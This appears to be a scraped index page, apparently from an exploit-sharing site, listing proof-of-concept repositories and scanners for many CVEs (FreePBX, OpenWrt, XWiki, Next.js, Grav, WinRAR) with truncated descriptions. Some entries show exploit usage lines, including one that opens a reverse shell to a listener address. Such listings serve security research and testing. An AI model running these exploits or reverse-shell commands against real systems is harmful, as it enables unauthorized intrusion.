FreePBX-CVE-2025-57819

FreePBX CVE-2025-57819 — Unauthenticated SQLi to Root RCE Severity: Critical Type: Unauthenticated SQL Injection → Remote Code Execution Affected Software: FreePBX endpoint module Tested On: FreePBX on CentOS 7, Apache 2.4, PHP 7.4, MariaDB 5.5 Overview An unauthenticated SQL injection...

Atlas

Atlas Atlas is a cross-platform Windows/Linux network execution and security assessment toolkit built on top of TrustedSec's Titanis protocol library. It is inspired by the workflow of NetExec/CrackMapExec: target lists, credential sets, modular enumeration, and compact HH:mm:ss + host - message...

pdf.js-CVE-2024-4367

🚨 CVE-2024-4367 - Universal PDF.js Vulnerability Scanner ⚠️ CRITICAL SECURITY TOOL | Detects CVE-2024-4367 CVSS 9.8 - PDF.js Remote Code Execution Vulnerability Works on ANY website - Zero configuration required 📋 Table of Contents 📖 Overview ⚡ Quick Start 🔍 What It Detects 🛠️ How It Works 📊 Output...

CVE-2026-46368-OpenWrt-Exploit

OpenWrt luci-app-https-dns-proxy Authenticated Command Injection CVE-2026-46368 This repository contains the Proof of Concept PoC exploit for a critical OS command injection vulnerability in luci-app-https-dns-proxy that results in arbitrary command execution as root. CVE ID: CVE-2026-46368...

CVE-2025-24893

CVE-2025-24893 XWiki Platform is a generic wiki platform that provides runtime services for applications built on top of it. Due to a vulnerability in the SolrSearch endpoint, an unauthenticated user can achieve arbitrary remote code execution. This vulnerability affects the confidentiality,...

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2

CVE-2026-23744-RCE-for-MCPjam-inspector-v1.4.2 A critical RCE vulnerability in MCPJam Inspector 3.Start the exploit root@kitploit: python3 CVE-2026-23744.py -u -i -p 4.For better usage I recomend to update the terminal to a fully funcional one , otherwise u wont be able to use commands like ctrl^...

CVE-2021-21425

CVE-2021-21425 - GravCMS Unauthenticated RCE Improved proof-of-concept for CVE-2021-21425, an unauthenticated Remote Code Execution vulnerability in GravCMS = 1.10.7 via arbitrary YAML write to the scheduler. Credit This is derivative work. The vulnerability and the original exploit are not mine...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

motionEye-RCE-through-config-parameter

MotionEye RCE via Client-Side Validation Bypass Summary During security testing of a MotionEye instance running in Docker, it was observed that client-side validation within the web UI can be bypassed. This allows arbitrary input to be submitted, including payloads that can trigger execution on t...

CVE-2025-55182

CVE-2025-55182 Next.js RCE Reproduction Guide Disclaimer ⚠️ This tool is for security research and educational purposes only. Do not use it for illegal activities. ⚠️ Vulnerability Overview CVE-2025-55182 is a critical remote code execution RCE vulnerability in the Next.js framework. This...

RscScan-cve-2025-55182

RscScan - Next.js Server Actions Vulnerability Scanner Professional cross-platform vulnerability scanner for Next.js Server Actions RCE Features • Installation • Usage • Video Demo • Screenshots 🇺🇸 English • 🇮🇷 فارسی • 🇨🇳 简体中文 • 🇷🇺 Русский • 🇩🇪 Deutsch ⚠️ LEGAL DISCLAIMER...

CVE-2025-55182-React2Shell-RCE

CVE-2025-55182 – React2Shell RCE GUI A modern, neon-themed GUI tool for security testing React2Shell CVE-2025-55182 on React Server Components / Next.js applications. Built with Python + CustomTkinter , it lets you: Check if a specific endpoint is vulnerable to React2Shell Run shell commands on...

CVE-2025-56399

CVE-2025-56399 – Ejecución remota de código autenticada en laravel-file-manager v3.3.1 🧭 Resumen Una vulnerabilidad de ejecución remota de código RCE autenticada en laravel-file-manager v3.3.1 y versiones anteriores permite a los atacantes con acceso a la interfaz del administrador de archivos...

react2shellexploitvisualized

React2Shell CVE-2025-55182 Visualization An interactive educational visualization explaining the React2Shell vulnerability - a critical CVSS 10.0 remote code execution flaw in React Server Components. What This Is A 5-step narrated walkthrough that explains: 1. Traditional SSR - How server-side...

CVE-2025-55182

🛡️ CVE-2025-55182 - Understand and Mitigate a Vulnerability 🚀 Getting Started Welcome to the CVE-2025-55182 project. This guide will help you understand the vulnerability and provide steps to download and run the software you need. 📥 Download the Application 🔍 What is CVE-2025-55182? CVE-2025-5518...

CVE-2026-85610

OpenPanel before version 2.3.0 is vulnerable to Remote Code Execution via chart formula expressions. The root cause is improper validation of these expressions, which allows authenticated project members with read access to recover the native JavaScript Function constructor through mathjs matrix ...

CVE-2026-85604 Grav before 2.0.18 Remote Code Execution via sort filter

Grav before 2.0.18 affected versions = 2.0.17 contains a remote code execution vulnerability in the Twig sort filter. The sortFunc wrapper in GravExtension.php hardcodes Twig's isSandboxed argument to false, so unlike |map/|filter/|reduce, |sort accepts a plain function name inside the sandbox; t...

CVE-2026-85604

Grav before 2.0.19 (versions ≤ 2.0.17) is vulnerable to remote code execution via the Twig sort filter. The sortFunc wrapper in GravExtension.php hardcodes Twig's isSandboxed argument to false, allowing a plain function name to pass the sandbox—unlike |map, |filter, and |reduce. The denylist miss...

CVE-2026-85604 Grav before 2.0.18 Remote Code Execution via sort filter

Grav before 2.0.18 affected versions = 2.0.17 contains a remote code execution vulnerability in the Twig sort filter. The sortFunc wrapper in GravExtension.php hardcodes Twig's isSandboxed argument to false, so unlike |map/|filter/|reduce, |sort accepts a plain function name inside the sandbox; t...

CVE-2025-6218-WinRAR-RCE-POC

CVE-2025-6218: WinRAR Path Traversal RCE ⚠️ CRITICAL VULNERABILITY - Active Exploitation Confirmed CVE-2025-6218 is a critical path traversal vulnerability in WinRAR that allows arbitrary code execution. Currently exploited by APT groups such as GOFFEE, Bitter APT-C-08 and Gamaredon. 📋 Index...